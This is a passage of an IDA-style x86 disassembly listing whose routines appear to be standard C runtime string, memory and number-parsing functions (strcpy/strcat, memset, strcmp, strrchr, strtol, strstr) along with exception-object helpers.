		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C645
		test	dl, dl
		jz	short loc_41C699
		test	dh, dh
		jz	short loc_41C68F
		test	edx, 0FF0000h
		jz	short loc_41C685
		test	edx, 0FF000000h
		jnz	short loc_41C645
		mov	[edi], edx
		jmp	short loc_41C69D
; ---------------------------------------------------------------------------

loc_41C685:				; CODE XREF: sub_41C5A0+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C69D
; ---------------------------------------------------------------------------

loc_41C68F:				; CODE XREF: sub_41C5A0+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C69D
; ---------------------------------------------------------------------------

loc_41C699:				; CODE XREF: sub_41C5A0+CBj
		xor	edx, edx
		mov	[edi], edx

loc_41C69D:				; CODE XREF: sub_41C5A0+E3j
					; sub_41C5A0+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_41C6B3

loc_41C6A7:				; CODE XREF: sub_41C5A0+91j
		xor	eax, eax

loc_41C6A9:				; CODE XREF: sub_41C5A0+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_41C6A9

loc_41C6B3:				; CODE XREF: sub_41C5A0+105j
		and	ebx, 3
		jnz	loc_41C633

loc_41C6BC:				; CODE XREF: sub_41C5A0+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C5A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C6D0	proc near		; CODE XREF: sub_40114E+8p
					; sub_40229D+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41C72B
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41C71B
		neg	ecx
		and	ecx, 3
		jz	short loc_41C6FD
		sub	edx, ecx

loc_41C6F3:				; CODE XREF: sub_41C6D0+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_41C6F3

loc_41C6FD:				; CODE XREF: sub_41C6D0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41C71B
		rep stosd
		test	edx, edx
		jz	short loc_41C725

loc_41C71B:				; CODE XREF: sub_41C6D0+18j
					; sub_41C6D0+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_41C71B

loc_41C725:				; CODE XREF: sub_41C6D0+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C72B:				; CODE XREF: sub_41C6D0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41C6D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C730	proc near		; CODE XREF: sub_4013EC+171p
					; sub_4060DC+31p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C77C

loc_41C740:				; CODE XREF: sub_41C730+3Cj
					; sub_41C730+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C774
		or	al, al
		jz	short loc_41C770
		cmp	ah, [ecx+1]
		jnz	short loc_41C774
		or	ah, ah
		jz	short loc_41C770
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C774
		or	al, al
		jz	short loc_41C770
		cmp	ah, [ecx+3]
		jnz	short loc_41C774
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C740
		mov	edi, edi

loc_41C770:				; CODE XREF: sub_41C730+18j
					; sub_41C730+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C774:				; CODE XREF: sub_41C730+14j
					; sub_41C730+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_41C77C:				; CODE XREF: sub_41C730+Ej
		test	edx, 1
		jz	short loc_41C79C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_41C774
		add	ecx, 1
		or	al, al
		jz	short loc_41C770
		test	edx, 2
		jz	short loc_41C740

loc_41C79C:				; CODE XREF: sub_41C730+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C774
		or	al, al
		jz	short loc_41C770
		cmp	ah, [ecx+1]
		jnz	short loc_41C774
		or	ah, ah
		jz	short loc_41C770
		add	ecx, 2
		jmp	short loc_41C740
sub_41C730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41C7B8	proc near		; CODE XREF: .text:00401077p
					; .text:0040109Ep ...
		jmp	sub_41C2DD
sub_41C7B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BD	proc near		; CODE XREF: sub_401000+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_429510
		retn
sub_41C7BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7CE	proc near		; CODE XREF: sub_41BAF9+2Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_429510
		push	dword ptr [edi]
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_41C7FD
		push	dword ptr [edi]
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_41C7FD:				; CODE XREF: sub_41C7CE+23j
		pop	edi
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	esi
		retn	4
sub_41C7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C80B	proc near		; CODE XREF: sub_401E4B+16p
					; .text:0041BAE8p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	dword ptr [esi], offset	off_429510
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41C848
		push	dword ptr [edi+4]
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_41C84E
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx
		jmp	short loc_41C84E
; ---------------------------------------------------------------------------

loc_41C848:				; CODE XREF: sub_41C80B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_41C84E:				; CODE XREF: sub_41C80B+2Ej
					; sub_41C80B+3Bj
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_41C80B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C855	proc near		; CODE XREF: sub_40103C+18j
					; sub_41BABA+6j ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_429510
		jz	short locret_41C86A
		push	dword ptr [ecx+4]
		call	sub_41C2DD
		pop	ecx

locret_41C86A:				; CODE XREF: sub_41C855+Aj
		retn
sub_41C855	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86B	proc near		; DATA XREF: .text:004294BCo
					; .text:00429514o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41C877
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41C877:				; CODE XREF: sub_41C86B+5j
		retn
sub_41C86B	endp

; ---------------------------------------------------------------------------

loc_41C878:				; DATA XREF: .text:off_429510o
		push	esi
		mov	esi, ecx
		call	sub_41C855
		test	byte ptr [esp+8], 1
		jz	short loc_41C88E
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_41C88E:				; CODE XREF: .text:0041C885j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8A0	proc near		; CODE XREF: sub_4013EC+42p
					; sub_40DB56+E1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_41C8C7
		xor	eax, eax
		jmp	short loc_41C8C9
; ---------------------------------------------------------------------------

loc_41C8C7:				; CODE XREF: sub_41C8A0+21j
		mov	eax, edi

loc_41C8C9:				; CODE XREF: sub_41C8A0+25j
		cld
		pop	edi
		leave
		retn
sub_41C8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8CD	proc near		; CODE XREF: sub_41C913+3p

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_429538
		call	__SEH_prolog
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_429530
		push	0Eh
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_41C8FB
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_41C8FB:				; CODE XREF: sub_41C8CD+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C90A
		call	__SEH_epilog
		retn
sub_41C8CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C90A	proc near		; CODE XREF: sub_41C8CD+32p
					; DATA XREF: .text:stru_429538o
		push	0Eh
		call	sub_41E8CE
		pop	ecx
		retn
sub_41C90A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C913	proc near		; DATA XREF: .text:off_429530o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41C8CD
		test	[esp+4+arg_0], 1
		jz	short loc_41C929
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_41C929:				; CODE XREF: sub_41C913+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41C913	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C930	proc near		; CODE XREF: sub_402AC9+3DDp
					; sub_402AC9+433p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C9A5
sub_41C930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C940	proc near		; CODE XREF: sub_404869+39p
					; sub_404AA9+1Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C960

loc_41C94D:				; CODE XREF: sub_41C940+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_41C993
		test	ecx, 3
		jnz	short loc_41C94D
		mov	edi, edi

loc_41C960:				; CODE XREF: sub_41C940+Bj
					; sub_41C940+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C960
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C9A2
		test	ah, ah
		jz	short loc_41C99D
		test	eax, 0FF0000h
		jz	short loc_41C998
		test	eax, 0FF000000h
		jz	short loc_41C993
		jmp	short loc_41C960
; ---------------------------------------------------------------------------

loc_41C993:				; CODE XREF: sub_41C940+14j
					; sub_41C940+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_41C9A5
; ---------------------------------------------------------------------------

loc_41C998:				; CODE XREF: sub_41C940+48j
		lea	edi, [ecx-2]
		jmp	short loc_41C9A5
; ---------------------------------------------------------------------------

loc_41C99D:				; CODE XREF: sub_41C940+41j
		lea	edi, [ecx-3]
		jmp	short loc_41C9A5
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C940+3Dj
		lea	edi, [ecx-4]

loc_41C9A5:				; CODE XREF: sub_41C930+5j
					; sub_41C940+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C9CE

loc_41C9B1:				; CODE XREF: sub_41C940+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_41CA20
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_41C9B1
		jmp	short loc_41C9CE
; ---------------------------------------------------------------------------

loc_41C9C9:				; CODE XREF: sub_41C940+A6j
					; sub_41C940+C0j
		mov	[edi], edx
		add	edi, 4

loc_41C9CE:				; CODE XREF: sub_41C940+6Fj
					; sub_41C940+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C9C9
		test	dl, dl
		jz	short loc_41CA20
		test	dh, dh
		jz	short loc_41CA17
		test	edx, 0FF0000h
		jz	short loc_41CA0A
		test	edx, 0FF000000h
		jz	short loc_41CA02
		jmp	short loc_41C9C9
; ---------------------------------------------------------------------------

loc_41CA02:				; CODE XREF: sub_41C940+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CA0A:				; CODE XREF: sub_41C940+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CA17:				; CODE XREF: sub_41C940+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CA20:				; CODE XREF: sub_41C940+78j
					; sub_41C940+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C940	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41CA28	proc near		; CODE XREF: sub_402382+31Ap
					; sub_402382+322p ...
		jmp	sub_41C7B8
sub_41CA28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA2D	proc near		; CODE XREF: sub_404869+2Fp
					; sub_404E2C+2Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_41F8BB
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_41CA7F
		dec	[ebp+var_1C]
		js	short loc_41CA72
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax],	0
		jmp	short loc_41CA7F
; ---------------------------------------------------------------------------

loc_41CA72:				; CODE XREF: sub_41CA2D+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F714
		pop	ecx
		pop	ecx

loc_41CA7F:				; CODE XREF: sub_41CA2D+36j
					; sub_41CA2D+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_41CA2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA85	proc near		; CODE XREF: sub_41CC44+Ep
					; sub_41CC5B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_4203B6
		mov	esi, [eax+64h]
		cmp	esi, ds:off_433444
		jz	short loc_41CAA3
		call	sub_420342
		mov	esi, eax

loc_41CAA3:				; CODE XREF: sub_41CA85+15j
		mov	ecx, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	bl, [ecx]
		lea	edi, [ecx+1]

loc_41CAAF:				; CODE XREF: sub_41CA85+55j
		cmp	dword ptr [esi+28h], 1
		movzx	eax, bl
		jle	short loc_41CAC9
		push	8
		push	eax
		push	esi
		call	sub_42013A
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		jmp	short loc_41CAD3
; ---------------------------------------------------------------------------

loc_41CAC9:				; CODE XREF: sub_41CA85+31j
		mov	edx, [esi+48h]
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8

loc_41CAD3:				; CODE XREF: sub_41CA85+42j
		test	eax, eax
		jz	short loc_41CADC
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CAAF
; ---------------------------------------------------------------------------

loc_41CADC:				; CODE XREF: sub_41CA85+50j
		cmp	bl, 2Dh
		jnz	short loc_41CAE7
		or	[ebp+arg_C], 2
		jmp	short loc_41CAEC
; ---------------------------------------------------------------------------

loc_41CAE7:				; CODE XREF: sub_41CA85+5Aj
		cmp	bl, 2Bh
		jnz	short loc_41CAEF

loc_41CAEC:				; CODE XREF: sub_41CA85+60j
		mov	bl, [edi]
		inc	edi

loc_41CAEF:				; CODE XREF: sub_41CA85+65j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41CC34
		cmp	eax, 1
		jz	loc_41CC34
		cmp	eax, 24h
		jg	loc_41CC34
		test	eax, eax
		push	10h
		pop	ecx
		jnz	short loc_41CB37
		cmp	bl, 30h
		jz	short loc_41CB21
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41CB4F
; ---------------------------------------------------------------------------

loc_41CB21:				; CODE XREF: sub_41CA85+91j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_41CB34
		cmp	al, 58h
		jz	short loc_41CB34
		mov	[ebp+arg_8], 8
		jmp	short loc_41CB4F
; ---------------------------------------------------------------------------

loc_41CB34:				; CODE XREF: sub_41CA85+A0j
					; sub_41CA85+A4j
		mov	[ebp+arg_8], ecx

loc_41CB37:				; CODE XREF: sub_41CA85+8Cj
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41CB4F
		cmp	bl, 30h
		jnz	short loc_41CB4F
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_41CB4B
		cmp	al, 58h
		jnz	short loc_41CB4F

loc_41CB4B:				; CODE XREF: sub_41CA85+C0j
		inc	edi
		mov	bl, [edi]
		inc	edi

loc_41CB4F:				; CODE XREF: sub_41CA85+9Aj
					; sub_41CA85+ADj ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]

loc_41CB57:				; CODE XREF: sub_41CA85+134j
		mov	esi, ds:off_4333E0
		movzx	ecx, bl
		mov	cx, [esi+ecx*2]
		test	cl, 4
		jz	short loc_41CB71
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41CB90
; ---------------------------------------------------------------------------

loc_41CB71:				; CODE XREF: sub_41CA85+E2j
		test	cx, 103h
		jz	short loc_41CBBB
		cmp	bl, 61h
		jl	short loc_41CB8A
		cmp	bl, 7Ah
		jg	short loc_41CB8A
		movsx	ecx, bl
		sub	ecx, 20h
		jmp	short loc_41CB8D
; ---------------------------------------------------------------------------

loc_41CB8A:				; CODE XREF: sub_41CA85+F6j
					; sub_41CA85+FBj
		movsx	ecx, bl

loc_41CB8D:				; CODE XREF: sub_41CA85+103j
		add	ecx, 0FFFFFFC9h

loc_41CB90:				; CODE XREF: sub_41CA85+EAj
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41CBBB
		or	[ebp+arg_C], 8
		cmp	[ebp+var_4], eax
		jb	short loc_41CBAA
		jnz	short loc_41CBA4
		cmp	ecx, edx
		jbe	short loc_41CBAA

loc_41CBA4:				; CODE XREF: sub_41CA85+119j
		or	[ebp+arg_C], 4
		jmp	short loc_41CBB6
; ---------------------------------------------------------------------------

loc_41CBAA:				; CODE XREF: sub_41CA85+117j
					; sub_41CA85+11Dj
		mov	esi, [ebp+var_4]
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_4], esi

loc_41CBB6:				; CODE XREF: sub_41CA85+123j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CB57
; ---------------------------------------------------------------------------

loc_41CBBB:				; CODE XREF: sub_41CA85+F1j
					; sub_41CA85+10Ej
		mov	eax, [ebp+arg_C]
		dec	edi
		test	al, 8
		jnz	short loc_41CBD2
		cmp	[ebp+arg_4], 0
		jz	short loc_41CBCC
		mov	edi, [ebp+arg_0]

loc_41CBCC:				; CODE XREF: sub_41CA85+142j
		and	[ebp+var_4], 0
		jmp	short loc_41CC1D
; ---------------------------------------------------------------------------

loc_41CBD2:				; CODE XREF: sub_41CA85+13Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_41CBF6
		test	al, 1
		jnz	short loc_41CC1D
		and	eax, 2
		jz	short loc_41CBED
		cmp	[ebp+var_4], 80000000h
		ja	short loc_41CBF6

loc_41CBED:				; CODE XREF: sub_41CA85+15Dj
		test	eax, eax
		jnz	short loc_41CC1D
		cmp	[ebp+var_4], esi
		jbe	short loc_41CC1D

loc_41CBF6:				; CODE XREF: sub_41CA85+154j
					; sub_41CA85+166j
		call	sub_4200B5
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_41CC0D
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41CC1D
; ---------------------------------------------------------------------------

loc_41CC0D:				; CODE XREF: sub_41CA85+180j
		mov	al, byte ptr [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax

loc_41CC1D:				; CODE XREF: sub_41CA85+14Bj
					; sub_41CA85+158j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41CC26
		mov	[eax], edi

loc_41CC26:				; CODE XREF: sub_41CA85+19Dj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41CC2F
		neg	[ebp+var_4]

loc_41CC2F:				; CODE XREF: sub_41CA85+1A5j
		mov	eax, [ebp+var_4]
		jmp	short loc_41CC3F
; ---------------------------------------------------------------------------

loc_41CC34:				; CODE XREF: sub_41CA85+6Fj
					; sub_41CA85+78j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41CC3D
		mov	[eax], ecx

loc_41CC3D:				; CODE XREF: sub_41CA85+1B4j
		xor	eax, eax

loc_41CC3F:				; CODE XREF: sub_41CA85+1ADj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CA85	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC44	proc near		; CODE XREF: sub_407466+283p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41CA85
		add	esp, 10h
		retn
sub_41CC44	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC5B	proc near		; CODE XREF: .text:0040B16Ep
					; sub_41D8E4+17p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41CA85
		add	esp, 10h
		retn
sub_41CC5B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CC80	proc near		; CODE XREF: sub_408CB7+BCp
					; sub_408F96+19Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CD44
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CCAC

loc_41CC9B:				; CODE XREF: sub_41CC80+2Aj
		mov	al, [edi]
		add	edi, 1
		test	al, al
		jz	short loc_41CCDD
		test	edi, 3
		jnz	short loc_41CC9B

loc_41CCAC:				; CODE XREF: sub_41CC80+19j
					; sub_41CC80+42j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CCAC
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CCEC
		test	ah, ah
		jz	short loc_41CCE7
		test	eax, 0FF0000h
		jz	short loc_41CCE2
		test	eax, 0FF000000h
		jnz	short loc_41CCAC

loc_41CCDD:				; CODE XREF: sub_41CC80+22j
		sub	edi, 1
		jmp	short loc_41CCEF
; ---------------------------------------------------------------------------

loc_41CCE2:				; CODE XREF: sub_41CC80+54j
		sub	edi, 2
		jmp	short loc_41CCEF
; ---------------------------------------------------------------------------

loc_41CCE7:				; CODE XREF: sub_41CC80+4Dj
		sub	edi, 3
		jmp	short loc_41CCEF
; ---------------------------------------------------------------------------

loc_41CCEC:				; CODE XREF: sub_41CC80+49j
		sub	edi, 4

loc_41CCEF:				; CODE XREF: sub_41CC80+60j
					; sub_41CC80+65j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CD04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CD5E
		jmp	short loc_41CD26
; ---------------------------------------------------------------------------

loc_41CD04:				; CODE XREF: sub_41CC80+79j
					; sub_41CC80+9Dj
		mov	dl, [esi]
		add	esi, 1
		test	dl, dl
		jz	short loc_41CD4A
		mov	[edi], dl
		add	edi, 1
		sub	ecx, 1
		jz	short loc_41CD40
		test	esi, 3
		jnz	short loc_41CD04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CD5E

loc_41CD26:				; CODE XREF: sub_41CC80+82j
					; sub_41CC80+DCj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CD40

loc_41CD2D:				; CODE XREF: sub_41CC80+BEj
		mov	dl, [esi]
		add	esi, 1
		mov	[edi], dl
		add	edi, 1
		test	dl, dl
		jz	short loc_41CD42
		sub	ecx, 1
		jnz	short loc_41CD2D

loc_41CD40:				; CODE XREF: sub_41CC80+95j
					; sub_41CC80+ABj
		mov	[edi], cl

loc_41CD42:				; CODE XREF: sub_41CC80+B9j
		pop	ebx
		pop	esi

loc_41CD44:				; CODE XREF: sub_41CC80+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CD4A:				; CODE XREF: sub_41CC80+8Bj
					; sub_41CC80+FAj
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CD54:				; CODE XREF: sub_41CC80+F6j
					; sub_41CC80+10Ej
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_41CD26

loc_41CD5E:				; CODE XREF: sub_41CC80+80j
					; sub_41CC80+A4j
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CD54
		test	dl, dl
		jz	short loc_41CD4A
		test	dh, dh
		jz	short loc_41CDAA
		test	edx, 0FF0000h
		jz	short loc_41CD9A
		test	edx, 0FF000000h
		jnz	short loc_41CD54
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CD9A:				; CODE XREF: sub_41CC80+106j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CDAA:				; CODE XREF: sub_41CC80+FEj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CDC0	proc near		; CODE XREF: sub_405771+1A7p
					; sub_405771+3AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41CE40
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41CE2D

loc_41CDD8:				; CODE XREF: sub_41CDC0+58j
					; sub_41CDC0+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_41CDFE
		test	al, al
		jz	short loc_41CDF8

loc_41CDEB:				; CODE XREF: sub_41CDC0+36j
		mov	al, [esi]
		add	esi, 1

loc_41CDF0:				; CODE XREF: sub_41CDC0+45j
		cmp	al, dl
		jz	short loc_41CDFE
		test	al, al
		jnz	short loc_41CDEB

loc_41CDF8:				; CODE XREF: sub_41CDC0+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
